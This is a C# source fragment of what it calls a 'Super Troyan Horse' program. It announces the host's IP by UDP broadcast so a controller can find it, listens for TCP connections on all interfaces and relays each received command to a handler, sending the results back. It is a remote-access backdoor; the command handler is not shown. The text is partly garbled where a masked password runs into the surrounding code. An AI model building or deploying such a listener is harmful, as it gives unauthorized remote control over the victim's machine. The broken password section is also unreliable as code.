static void sendBroadcastAnswer()
{
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
IPEndPoint iep1 = new IPEndPoint(IPAddress.Broadcast, 9050);
IPEndPoint iep2 = new IPEndPoint(Internet.GetMaxBroadcast(), BroadcastSendPort);
byte[] data = Encoding.ASCII.GetBytes(Internet.GetLocalIP().ToString());
sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
try { sock.SendTo(data, iep1); }
catch { }
try { sock.SendTo(data, iep2); }
catch { }
sock.Close();
}
public static void Start()
{
try
{
TcpListener myList = new TcpListener(IPAddress.Any, Program.port);
Console.WriteLine("The server is running at ip {0}:{1} . . .", Internet.GetLocalIP(), Program.port);
while (Program.isProgramAlive)
{
ASCIIEncoding asen = new ASCIIEncoding();
myList.Start();
s = myList.AcceptSocket();
IsOpened = true;
Console.WriteLine("\n============ socket opened ==================\n");
string input = "";
s.Send(asen.GetBytes("<S>: " + "Welcome to the Super Troyan Horse program.\n" +
"<S>: " + "My name is " + Program.username + ".\n" +
"<S>: " + "You can now start sending me commands.\n"));
byte[] b = new byte[128];
while (input != "quit" && input != "exit")
{
input = "";
try
{
int k = s.Receive(b);
for (int i = 0; i < k; i++)
{
input += (Convert.ToChar(b[i]));
}
input = input.Replace("\n", "");
if (input != "quit" && input != "exit" && input != "stop")
{
string answer = commander.reactonCommand(input).Replace("\n", "\n<S>: ");
s.Send(asen.GetBytes("<S>: " + answer + "\n"));
}
else if (input == "stop")
{
const string password = "******";
if (s == null)
{
throw new NullReferenceException();
}
s.Send(asen.GetBytes("<S>: enter password: "******"\n", "");
if (input == password)
{
s.Close();
myList.Stop();
Program.isProgramAlive = false;
System.Windows.Forms.Application.Exit();
break;
}
else
{
s.Send(asen.GetBytes("<S>: wrong password\n"));
}
}
else
{
s.Close();
break;
}
}
catch (SocketException)
{
s.Close();
break;
}
catch (Exception ex)
{
Console.WriteLine(ex.Source + "\n" + ex.ToString());
}
}
/* clean up */
s.Close();
myList.Stop();
Console.WriteLine("\n============ socket closed ==================\n");
IsOpened = false;
}
}
catch (Exception e)
{
Console.WriteLine("Error..... " + e.StackTrace);
}
}